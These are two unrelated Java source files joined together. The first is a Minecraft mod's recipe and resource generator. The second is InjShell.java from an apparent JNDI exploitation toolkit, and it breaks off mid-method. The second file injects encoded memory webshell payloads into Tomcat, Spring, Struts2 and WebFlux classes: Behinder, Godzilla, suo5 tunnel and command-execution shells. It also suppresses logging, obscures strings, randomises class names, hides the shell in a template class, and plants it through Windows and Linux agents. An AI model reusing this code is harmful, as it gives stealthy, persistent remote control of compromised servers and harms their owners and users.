PACK.clearResources(ResourceType.SERVER_DATA);
for (Block block : MishangUtils.blocks()) {
if (block instanceof final BlockResourceGenerator generator) {
if (includesClient) {
generator.writeBlockModel(PACK);
generator.writeBlockStates(PACK);
generator.writeItemModel(PACK);
}
if (includesServer) {
generator.writeLootTable(PACK);
generator.writeRecipes(PACK);
}
}
}
for (Item item : MishangUtils.items()) {
if (item instanceof final ItemResourceGenerator generator) {
if (includesClient) {
generator.writeItemModel(PACK);
}
if (includesServer) {
generator.writeRecipes(PACK);
}
}
}
// 服务器部分
if (includesServer) {
addTags();
addRecipes();
}
}
/**
* 为本模组内的物品添加配方。该方法只会生成部分配方,还有很多配方是在 {@link ItemResourceGenerator#writeRecipes(RuntimeResourcePack)} 的子方法中定义的。
*/
private static void addRecipes() {
addRecipesForWallSigns();
addRecipesForLights();
}
private static void addRecipesForWallSigns() {
// 隐形告示牌是合成其他告示牌的基础。
{ // invisible wall sign
final ShapedRecipeJsonBuilder recipe = ShapedRecipeJsonBuilder.create(RecipeCategory.BUILDING_BLOCKS, WallSignBlocks.INVISIBLE_WALL_SIGN, 6)
.pattern(".#.").pattern("#o#").pattern(".#.")
.input('.', Items.IRON_NUGGET)
.input('#', Items.FEATHER)
.input('o', Items.GOLD_INGOT)
.criterion("has_iron_nugget", RecipeProvider.conditionsFromItem(Items.IRON_NUGGET))
.criterion("has_feather", RecipeProvider.conditionsFromItem(Items.FEATHER))
.criterion("has_gold_ingot", RecipeProvider.conditionsFromItem(Items.GOLD_INGOT))
.setCustomRecipeCategory("signs");
final Identifier id = BRRPUtils.getItemId(WallSignBlocks.INVISIBLE_WALL_SIGN);
PACK.addRecipeAndAdvancement(id, recipe); // recipeCategory should be "signs"
}
{ // invisible glowing wall sign
final ShapedRecipeJsonBuilder recipe = ShapedRecipeJsonBuilder.create(RecipeCategory.BUILDING_BLOCKS, WallSignBlocks.INVISIBLE_GLOWING_WALL_SIGN, 3)
.pattern("---").pattern("###")
.input('-', Items.GLOWSTONE_DUST)
.input('#', WallSignBlocks.INVISIBLE_WALL_SIGN)
.criterion("has_base_block", RecipeProvider.conditionsFromItem(WallSignBlocks.INVISIBLE_WALL_SIGN))
.setCustomRecipeCategory("signs");
final Identifier id = BRRPUtils.getItemId(WallSignBlocks.INVISIBLE_GLOWING_WALL_SIGN);
PACK.addRecipeAndAdvancement(id, recipe); // recipeCategory should be "signs"
}
}
private static void addRecipesForLights() {
// 先是三个完整方块的合成表。
{ // white light
final ShapedRecipeJsonBuilder recipe = ShapedRecipeJsonBuilder.create(RecipeCategory.DECORATIONS, LightBlocks.WHITE_LIGHT, 8)
.pattern("*#*").pattern("#C#").pattern("*#*")
.input('*', Items.WHITE_DYE)
.input('#', Items.GLOWSTONE)
.input('C', Items.WHITE_CONCRETE)
.criterion("has_dye", RecipeProvider.conditionsFromItem(Items.WHITE_DYE))
.criterion("has_glowstone", RecipeProvider.conditionsFromItem(Items.GLOWSTONE))
.criterion("has_concrete", RecipeProvider.conditionsFromItem(Items.WHITE_CONCRETE))
.setCustomRecipeCategory("light");
final Identifier id = BRRPUtils.getItemId(LightBlocks.WHITE_LIGHT);
PACK.addRecipeAndAdvancement(id, recipe);
}
{ // yellow light
final ShapedRecipeJsonBuilder recipe = ShapedRecipeJsonBuilder.create(RecipeCategory.DECORATIONS, LightBlocks.YELLOW_LIGHT, 8)
.pattern("*#*").pattern("#C#").pattern("*#*")
.input('*', Items.YELLOW_DYE)
.input('#', Items.GLOWSTONE)
.input('C', Items.YELLOW_CONCRETE)
.criterion("has_dye", RecipeProvider.conditionsFromItem(Items.YELLOW_DYE))
.criterion("has_glowstone", RecipeProvider.conditionsFromItem(Items.GLOWSTONE))
.criterion("has_concrete", RecipeProvider.conditionsFromItem(Items.YELLOW_CONCRETE))
.setCustomRecipeCategory("light");
final Identifier id = BRRPUtils.getItemId(LightBlocks.YELLOW_LIGHT);
PACK.addRecipeAndAdvancement(id, recipe);
}
{ // cyan light
final ShapedRecipeJsonBuilder recipe = ShapedRecipeJsonBuilder.create(RecipeCategory.DECORATIONS, LightBlocks.CYAN_LIGHT, 8)
.pattern("*#*").pattern("#C#").pattern("*#*")
.input('*', Items.CYAN_DYE)
.input('#', Items.GLOWSTONE)
.input('C', Items.CYAN_CONCRETE)
.criterion("has_dye", RecipeProvider.conditionsFromItem(Items.CYAN_DYE))
.criterion("has_glowstone", RecipeProvider.conditionsFromItem(Items.GLOWSTONE))
.criterion("has_concrete", RecipeProvider.conditionsFromItem(Items.CYAN_CONCRETE))
.setCustomRecipeCategory("light");
final Identifier id = BRRPUtils.getItemId(LightBlocks.CYAN_LIGHT);
PACK.addRecipeAndAdvancement(id, recipe); // the recipe category should be "light"
}
// 白色灯光
addShapelessRecipeForLight(LightBlocks.WHITE_SMALL_WALL_LIGHT, 1, LightBlocks.WHITE_SMALL_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.WHITE_LIGHT, LightBlocks.WHITE_SMALL_WALL_LIGHT_TUBE, 16);
addShapelessRecipeForLight(LightBlocks.WHITE_LARGE_WALL_LIGHT, 1, LightBlocks.WHITE_LARGE_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.WHITE_LIGHT, LightBlocks.WHITE_LARGE_WALL_LIGHT_TUBE, 12);
addShapelessRecipeForLight(LightBlocks.WHITE_THIN_STRIP_WALL_LIGHT, 1, LightBlocks.WHITE_THIN_STRIP_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.WHITE_LIGHT, LightBlocks.WHITE_THIN_STRIP_WALL_LIGHT_TUBE, 12);
addShapelessRecipeForLight(LightBlocks.WHITE_THICK_STRIP_WALL_LIGHT, 1, LightBlocks.WHITE_THICK_STRIP_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.WHITE_LIGHT, LightBlocks.WHITE_THICK_STRIP_WALL_LIGHT_TUBE, 8);
addStonecuttingRecipeForLight(LightBlocks.WHITE_LIGHT, LightBlocks.WHITE_DOUBLE_STRIP_WALL_LIGHT_TUBE, 10);
// 角落灯管方块由两个普通灯管方块合成。
addShapelessRecipeForLight(LightBlocks.WHITE_THIN_STRIP_CORNER_LIGHT_TUBE, 1, LightBlocks.WHITE_THIN_STRIP_WALL_LIGHT_TUBE, LightBlocks.WHITE_THIN_STRIP_WALL_LIGHT_TUBE);
addShapelessRecipeForLight(LightBlocks.WHITE_THICK_STRIP_CORNER_LIGHT_TUBE, 1, LightBlocks.WHITE_THICK_STRIP_WALL_LIGHT_TUBE, LightBlocks.WHITE_THICK_STRIP_WALL_LIGHT_TUBE);
addShapelessRecipeForLight(LightBlocks.WHITE_DOUBLE_STRIP_CORNER_LIGHT_TUBE, 1, LightBlocks.WHITE_DOUBLE_STRIP_WALL_LIGHT_TUBE, LightBlocks.WHITE_DOUBLE_STRIP_WALL_LIGHT_TUBE);
// 灯光装饰方块,一律由切石形成。
addStonecuttingRecipeForLight(LightBlocks.WHITE_LIGHT, LightBlocks.WHITE_WALL_LIGHT_SIMPLE_DECORATION, 6);
addStonecuttingRecipeForLight(LightBlocks.WHITE_LIGHT, LightBlocks.WHITE_WALL_LIGHT_POINT_DECORATION, 6);
addStonecuttingRecipeForLight(LightBlocks.WHITE_LIGHT, LightBlocks.WHITE_WALL_LIGHT_RHOMBUS_DECORATION, 6);
addStonecuttingRecipeForLight(LightBlocks.WHITE_LIGHT, LightBlocks.WHITE_WALL_LIGHT_HASH_DECORATION, 6);
addStonecuttingRecipeForLight(LightBlocks.WHITE_LIGHT, LightBlocks.WHITE_WALL_LIGHT_ROUND_DECORATION, 4);
// 黄色灯光
addShapelessRecipeForLight(LightBlocks.YELLOW_SMALL_WALL_LIGHT, 1, LightBlocks.YELLOW_SMALL_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.YELLOW_LIGHT, LightBlocks.YELLOW_SMALL_WALL_LIGHT_TUBE, 16);
addShapelessRecipeForLight(LightBlocks.YELLOW_LARGE_WALL_LIGHT, 1, LightBlocks.YELLOW_LARGE_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.YELLOW_LIGHT, LightBlocks.YELLOW_LARGE_WALL_LIGHT_TUBE, 12);
addShapelessRecipeForLight(LightBlocks.YELLOW_THIN_STRIP_WALL_LIGHT, 1, LightBlocks.YELLOW_THIN_STRIP_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.YELLOW_LIGHT, LightBlocks.YELLOW_THIN_STRIP_WALL_LIGHT_TUBE, 12);
addShapelessRecipeForLight(LightBlocks.YELLOW_THICK_STRIP_WALL_LIGHT, 1, LightBlocks.YELLOW_THICK_STRIP_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.YELLOW_LIGHT, LightBlocks.YELLOW_THICK_STRIP_WALL_LIGHT_TUBE, 8);
addStonecuttingRecipeForLight(LightBlocks.YELLOW_LIGHT, LightBlocks.YELLOW_DOUBLE_STRIP_WALL_LIGHT_TUBE, 10);
// 角落灯管方块由两个普通灯管方块合成。
addShapelessRecipeForLight(LightBlocks.YELLOW_THIN_STRIP_CORNER_LIGHT_TUBE, 1, LightBlocks.YELLOW_THIN_STRIP_WALL_LIGHT_TUBE, LightBlocks.YELLOW_THIN_STRIP_WALL_LIGHT_TUBE);
addShapelessRecipeForLight(LightBlocks.YELLOW_THICK_STRIP_CORNER_LIGHT_TUBE, 1, LightBlocks.YELLOW_THICK_STRIP_WALL_LIGHT_TUBE, LightBlocks.YELLOW_THICK_STRIP_WALL_LIGHT_TUBE);
addShapelessRecipeForLight(LightBlocks.YELLOW_DOUBLE_STRIP_CORNER_LIGHT_TUBE, 1, LightBlocks.YELLOW_DOUBLE_STRIP_WALL_LIGHT_TUBE, LightBlocks.YELLOW_DOUBLE_STRIP_WALL_LIGHT_TUBE);
// 灯光装饰方块,一律由切石形成。
addStonecuttingRecipeForLight(LightBlocks.YELLOW_LIGHT, LightBlocks.YELLOW_WALL_LIGHT_SIMPLE_DECORATION, 6);
addStonecuttingRecipeForLight(LightBlocks.YELLOW_LIGHT, LightBlocks.YELLOW_WALL_LIGHT_POINT_DECORATION, 6);
addStonecuttingRecipeForLight(LightBlocks.YELLOW_LIGHT, LightBlocks.YELLOW_WALL_LIGHT_RHOMBUS_DECORATION, 6);
addStonecuttingRecipeForLight(LightBlocks.YELLOW_LIGHT, LightBlocks.YELLOW_WALL_LIGHT_HASH_DECORATION, 6);
// 青色
addShapelessRecipeForLight(LightBlocks.CYAN_SMALL_WALL_LIGHT, 1, LightBlocks.CYAN_SMALL_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.CYAN_LIGHT, LightBlocks.CYAN_SMALL_WALL_LIGHT_TUBE, 16);
addShapelessRecipeForLight(LightBlocks.CYAN_LARGE_WALL_LIGHT, 1, LightBlocks.CYAN_LARGE_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.CYAN_LIGHT, LightBlocks.CYAN_LARGE_WALL_LIGHT_TUBE, 12);
addShapelessRecipeForLight(LightBlocks.CYAN_THIN_STRIP_WALL_LIGHT, 1, LightBlocks.CYAN_THIN_STRIP_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.CYAN_LIGHT, LightBlocks.CYAN_THIN_STRIP_WALL_LIGHT_TUBE, 12);
addShapelessRecipeForLight(LightBlocks.CYAN_THICK_STRIP_WALL_LIGHT, 1, LightBlocks.CYAN_THICK_STRIP_WALL_LIGHT_TUBE, Blocks.GRAY_CONCRETE);
addStonecuttingRecipeForLight(LightBlocks.CYAN_LIGHT, LightBlocks.CYAN_THICK_STRIP_WALL_LIGHT_TUBE, 8);
addStonecuttingRecipeForLight(LightBlocks.CYAN_LIGHT, LightBlocks.CYAN_DOUBLE_STRIP_WALL_LIGHT_TUBE, 10);
// 角落灯管方块由两个普通灯管方块合成。
addShapelessRecipeForLight(LightBlocks.CYAN_THIN_STRIP_CORNER_LIGHT_TUBE, 1, LightBlocks.CYAN_THIN_STRIP_WALL_LIGHT_TUBE, LightBlocks.CYAN_THIN_STRIP_WALL_LIGHT_TUBE);
addShapelessRecipeForLight(LightBlocks.CYAN_THICK_STRIP_CORNER_LIGHT_TUBE, 1, LightBlocks.CYAN_THICK_STRIP_WALL_LIGHT_TUBE, LightBlocks.CYAN_THICK_STRIP_WALL_LIGHT_TUBE);
addShapelessRecipeForLight(LightBlocks.CYAN_DOUBLE_STRIP_CORNER_LIGHT_TUBE, 1, LightBlocks.CYAN_DOUBLE_STRIP_WALL_LIGHT_TUBE, LightBlocks.CYAN_DOUBLE_STRIP_WALL_LIGHT_TUBE);
// 灯光装饰方块,一律由切石形成。
addStonecuttingRecipeForLight(LightBlocks.CYAN_LIGHT, LightBlocks.CYAN_WALL_LIGHT_SIMPLE_DECORATION, 6);
addStonecuttingRecipeForLight(LightBlocks.CYAN_LIGHT, LightBlocks.CYAN_WALL_LIGHT_POINT_DECORATION, 6);
addStonecuttingRecipeForLight(LightBlocks.CYAN_LIGHT, LightBlocks.CYAN_WALL_LIGHT_RHOMBUS_DECORATION, 6);
addStonecuttingRecipeForLight(LightBlocks.CYAN_LIGHT, LightBlocks.CYAN_WALL_LIGHT_HASH_DECORATION, 6);
}
private static void addStonecuttingRecipeForLight(ItemConvertible ingredient, ItemConvertible result, int count) {
PACK.addRecipeAndAdvancement(BRRPUtils.getRecipeId(result), SingleItemRecipeJsonBuilder.createStonecutting(Ingredient.ofItems(ingredient), RecipeCategory.DECORATIONS, result, count).criterionFromItem(ingredient).setCustomRecipeCategory("light"));
}
private static void addShapelessRecipeForLight(ItemConvertible result, int count, ItemConvertible... ingredients) {
final ShapelessRecipeJsonBuilder recipe = ShapelessRecipeJsonBuilder.create(RecipeCategory.DECORATIONS, result, count).input(Ingredient.ofItems(ingredients)).setCustomRecipeCategory("light");
for (ItemConvertible ingredient : ImmutableSet.copyOf(ingredients)) {
recipe.criterion("has_" + BRRPUtils.getItemId(ingredient).getPath(), RecipeProvider.conditionsFromItem(ingredient));
}
final Identifier id = BRRPUtils.getItemId(result);
PACK.addRecipeAndAdvancement(id, recipe);
}
@Override
public void onInitialize() {
generateResources(FabricLoader.getInstance().getEnvironmentType() == EnvType.CLIENT, true);
PACK.setSidedRegenerationCallback(ResourceType.CLIENT_RESOURCES, () -> generateResources(true, false));
PACK.setSidedRegenerationCallback(ResourceType.SERVER_DATA, () -> generateResources(false, true));
SidedRRPCallback.BEFORE_VANILLA.register((resourceType, builder) -> builder.add(PACK));
}
}
| SolidBlock-cn/mishanguc | src/main/java/pers/solid/mishang/uc/arrp/ARRPMain.java |
65,370 | package com.qi4l.jndi.gadgets.utils;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.template.Agent.LinMenshell;
import com.qi4l.jndi.template.Agent.WinMenshell;
import com.qi4l.jndi.template.memshell.tomcat.TSMSFromJMXF;
import javassist.*;
import org.apache.commons.codec.binary.Base64;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.List;
import static com.qi4l.jndi.gadgets.Config.MemShellPayloads.*;
import static com.qi4l.jndi.template.memshell.shell.MemShellPayloads.SUO5.CMD_SHELL_FOR_WEBFLUX;
public class InjShell {
public static void insertKeyMethod(CtClass ctClass, String type) throws Exception {
// 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload
String name = ctClass.getName();
name = name.substring(name.lastIndexOf(".") + 1);
// 大多数 SpringBoot 项目使用内置 Tomcat
boolean isTomcat = name.startsWith("T") || name.startsWith("Spring");
boolean isWebflux = name.contains("Webflux");
// 判断是 filter 型还是 servlet 型内存马,根据不同类型写入不同逻辑
String method = "";
if (name.contains("SpringControllerMS")) {
method = "drop";
} else if (name.contains("Struts2ActionMS")) {
method = "executeAction";
}
List<CtClass> classes = new java.util.ArrayList<CtClass>(Arrays.asList(ctClass.getInterfaces()));
classes.add(ctClass.getSuperclass());
for (CtClass value : classes) {
String className = value.getName();
if (Config.KEY_METHOD_MAP.containsKey(className)) {
method = Config.KEY_METHOD_MAP.get(className);
break;
}
}
// 命令执行、各种内存马
insertField(ctClass, "HEADER_KEY", "public static String HEADER_KEY=" + converString(Config.HEADER_KEY) + ";");
insertField(ctClass, "HEADER_VALUE", "public static String HEADER_VALUE=" + converString(Config.HEADER_VALUE) + ";");
if ("bx".equals(type)) {
try {
ctClass.getDeclaredMethod("base64Decode");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass));
}
try {
ctClass.getDeclaredMethod("getFieldValue");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
}
try {
ctClass.getDeclaredMethod("getMethodByClass");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
}
try {
ctClass.getDeclaredMethod("getMethodAndInvoke");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
}
if (Config.IS_OBSCURE) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_UNSAFE), ctClass));
}
String shell = "";
if (isTomcat) {
insertTomcatNoLog(ctClass);
shell = Config.IS_OBSCURE ? BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : BEHINDER_SHELL_FOR_TOMCAT;
} else {
shell = Config.IS_OBSCURE ? BEHINDER_SHELL_OBSCURE : BEHINDER_SHELL;
}
insertMethod(ctClass, method, Utils.base64Decode(shell).replace("f359740bd1cda994", Config.PASSWORD));
} else if ("gz".equals(type)) {
insertField(ctClass, "payload", "Class payload ;");
insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";");
insertField(ctClass, "PASS", "String PASS = " + converString(Config.PASSWORD_ORI) + ";");
try {
ctClass.getDeclaredMethod("base64Decode");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass));
}
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(MD5), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass));
insertTomcatNoLog(ctClass);
if (isWebflux) {
insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL_FOR_WEBFLUX));
} else {
insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL));
}
} else if ("gzraw".equals(type)) {
insertField(ctClass, "payload", "Class payload ;");
insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";");
ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass));
insertTomcatNoLog(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_RAW_SHELL));
} else if ("suo5".equals(type)) {
// 先写入一些需要的基础属性
insertField(ctClass, "gInStream", "java.io.InputStream gInStream;");
insertField(ctClass, "gOutStream", "java.io.OutputStream gOutStream;");
// 依次写入方法
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_CREATE), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DATA), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DEL), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_SET_STREAM), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_STATUS), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_U32_TO_BYTES), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_BYTES_TO_U32), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_MARSHAL), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_UNMARSHAL), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_SOCKET), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_INPUT_STREAM_WITH_TIMEOUT), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_TRY_FULL_DUPLEX), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_REQ), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_UNARY), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_BIO), ctClass));
// 为恶意类设置 Runnable 接口以及 RUN 方法
CtClass runnableClass = ClassPool.getDefault().get("java.lang.Runnable");
ctClass.addInterface(runnableClass);
ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.RUN), ctClass));
// 插入关键方法
insertMethod(ctClass, method, Utils.base64Decode(SUO5.SUO5));
} else if ("execute".equals(type)) {
insertField(ctClass, "TAG", "public static String TAG = \"" + Config.CMD_HEADER_STRING + "\";");
insertCMD(ctClass);
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_REQUEST), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_RESPONSE), ctClass));
insertMethod(ctClass, method, Utils.base64Decode(EXECUTOR_SHELL));
} else if ("ws".equals(type)) {
insertCMD(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(WS_SHELL));
} else if ("upgrade".equals(type)) {
insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";");
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
insertCMD(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(UPGRADE_SHELL));
} else {
insertCMD(ctClass);
insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";");
if (isWebflux) {
insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_WEBFLUX));
} else if (isTomcat) {
insertTomcatNoLog(ctClass);
insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_TOMCAT));
} else {
insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL));
}
}
ctClass.setName(ClassNameUtils.generateClassName());
insertField(ctClass, "pattern", "public static String pattern = " + converString(Config.URL_PATTERN) + ";");
}
// 恶心一下人,实际没用
public static String converString(String target) {
if (Config.IS_OBSCURE) {
StringBuilder result = new StringBuilder("new String(new byte[]{");
byte[] bytes = target.getBytes();
for (int i = 0; i < bytes.length; i++) {
result.append(bytes[i]).append(",");
}
return result.substring(0, result.length() - 1) + "})";
}
return "\"" + target + "\"";
}
public static void insertMethod(CtClass ctClass, String method, String payload) throws NotFoundException, CannotCompileException {
//添加到类路径,防止出错
ClassPool pool;
pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(TSMSFromJMXF.class));
// 根据传入的不同参数,在不同方法中插入不同的逻辑
CtMethod cm = ctClass.getDeclaredMethod(method);
cm.setBody(payload);
}
/**
* 向指定类中写入命令执行方法 execCmd
* 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法
*
* @param ctClass 指定类
* @throws Exception 抛出异常
*/
public static void insertCMD(CtClass ctClass) throws Exception {
if (Config.IS_OBSCURE) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(TO_CSTRING_Method), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass));
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass));
try {
ctClass.getDeclaredMethod("getFieldValue");
} catch (NotFoundException e) {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass));
}
ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD_OBSCURE), ctClass));
} else {
ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD), ctClass));
}
}
public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception {
ctClass.defrost();
try {
CtField ctSUID = ctClass.getDeclaredField(fieldName);
ctClass.removeField(ctSUID);
} catch (javassist.NotFoundException ignored) {
}
ctClass.addField(CtField.make(fieldCode, ctClass));
}
public static String insertWinAgent(CtClass ctClass) throws Exception {
List<CtClass> classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces()));
classes.add(ctClass.getSuperclass());
String className = null;
for (CtClass value : classes) {
className = value.getName();
if (Config.KEY_METHOD_MAP.containsKey(className)) {
break;
}
}
byte[] bytes = ctClass.toBytecode();
Class<?> ctClazz = Class.forName("com.qi4l.jndi.template.Agent.WinMenshell");
Field WinClassName = ctClazz.getDeclaredField("className");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, className);
Field WinclassBody = ctClazz.getDeclaredField("classBody");
WinclassBody.setAccessible(true);
WinclassBody.set(ctClazz, bytes);
return WinMenshell.class.getName();
}
public static void TinsertWinAgent(CtClass ctClass) throws Exception {
List<CtClass> classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces()));
classes.add(ctClass.getSuperclass());
String className = null;
for (CtClass value : classes) {
className = value.getName();
if (Config.KEY_METHOD_MAP.containsKey(className)) {
break;
}
}
byte[] bytes = ctClass.toBytecode();
Class<?> ctClazz = Class.forName("com.qi4l.jndi.template.Agent.WinMenshell");
Field WinClassName = ctClazz.getDeclaredField("className");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, className);
Field WinclassBody = ctClazz.getDeclaredField("classBody");
WinclassBody.setAccessible(true);
WinclassBody.set(ctClazz, bytes);
}
public static String insertLinAgent(CtClass ctClass) throws Exception {
List<CtClass> classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces()));
classes.add(ctClass.getSuperclass());
String className = null;
for (CtClass value : classes) {
className = value.getName();
if (Config.KEY_METHOD_MAP.containsKey(className)) {
break;
}
}
byte[] bytes = ctClass.toBytecode();
Class<?> ctClazz = Class.forName("com.qi4l.jndi.template.Agent.LinMenshell");
Field LinClassName = ctClazz.getDeclaredField("className");
LinClassName.setAccessible(true);
LinClassName.set(ctClazz, className);
Field LinclassBody = ctClazz.getDeclaredField("classBody");
LinclassBody.setAccessible(true);
LinclassBody.set(ctClazz, bytes);
return LinMenshell.class.getName();
}
public static void TinsertLinAgent(CtClass ctClass) throws Exception {
List<CtClass> classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces()));
classes.add(ctClass.getSuperclass());
String className = null;
for (CtClass value : classes) {
className = value.getName();
if (Config.KEY_METHOD_MAP.containsKey(className)) {
break;
}
}
byte[] bytes = ctClass.toBytecode();
Class<?> ctClazz = Class.forName("com.qi4l.jndi.template.Agent.LinMenshell");
Field LinClassName = ctClazz.getDeclaredField("className");
LinClassName.setAccessible(true);
LinClassName.set(ctClazz, className);
Field LinclassBody = ctClazz.getDeclaredField("classBody");
LinclassBody.setAccessible(true);
LinclassBody.set(ctClazz, bytes);
}
//路由中内存马主要执行方法
public static String structureShell(Class<?> payload) throws Exception {
//初始化全局配置
Config.init();
String className = "";
ClassPool pool;
CtClass ctClass;
pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload));
ctClass = pool.get(payload.getName());
InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, Config.Shell_Type);
ctClass.setName(ClassNameUtils.generateClassName());
if (Config.winAgent) {
className = insertWinAgent(ctClass);
ctClass.writeFile();
return className;
}
if (Config.linAgent) {
className = insertLinAgent(ctClass);
ctClass.writeFile();
return className;
}
if (Config.HIDE_MEMORY_SHELL) {
switch (Config.HIDE_MEMORY_SHELL_TYPE) {
case 1:
break;
case 2:
CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate");
newClass.setName(ClassNameUtils.generateClassName());
String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";";
className = "className=\"" + ctClass.getName() + "\";";
newClass.defrost();
newClass.makeClassInitializer().insertBefore(content);
newClass.makeClassInitializer().insertBefore(className);
if (Config.IS_INHERIT_ABSTRACT_TRANSLET) {
Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
CtClass superClass = pool.get(abstTranslet.getName());
newClass.setSuperclass(superClass);
}
className = newClass.getName();
newClass.writeFile();
return className;
}
}
className = ctClass.getName();
ctClass.writeFile();
return className;
}
public static String structureShellTom(Class<?> payload) throws Exception {
Config.init();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload));
CtClass ctClass = pool.get(payload.getName());
InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, Config.Shell_Type);
ctClass.setName(ClassNameUtils.generateClassName());
if (Config.winAgent) {
TinsertWinAgent(ctClass);
return injectClass(WinMenshell.class);
}
if (Config.linAgent) {
TinsertLinAgent(ctClass);
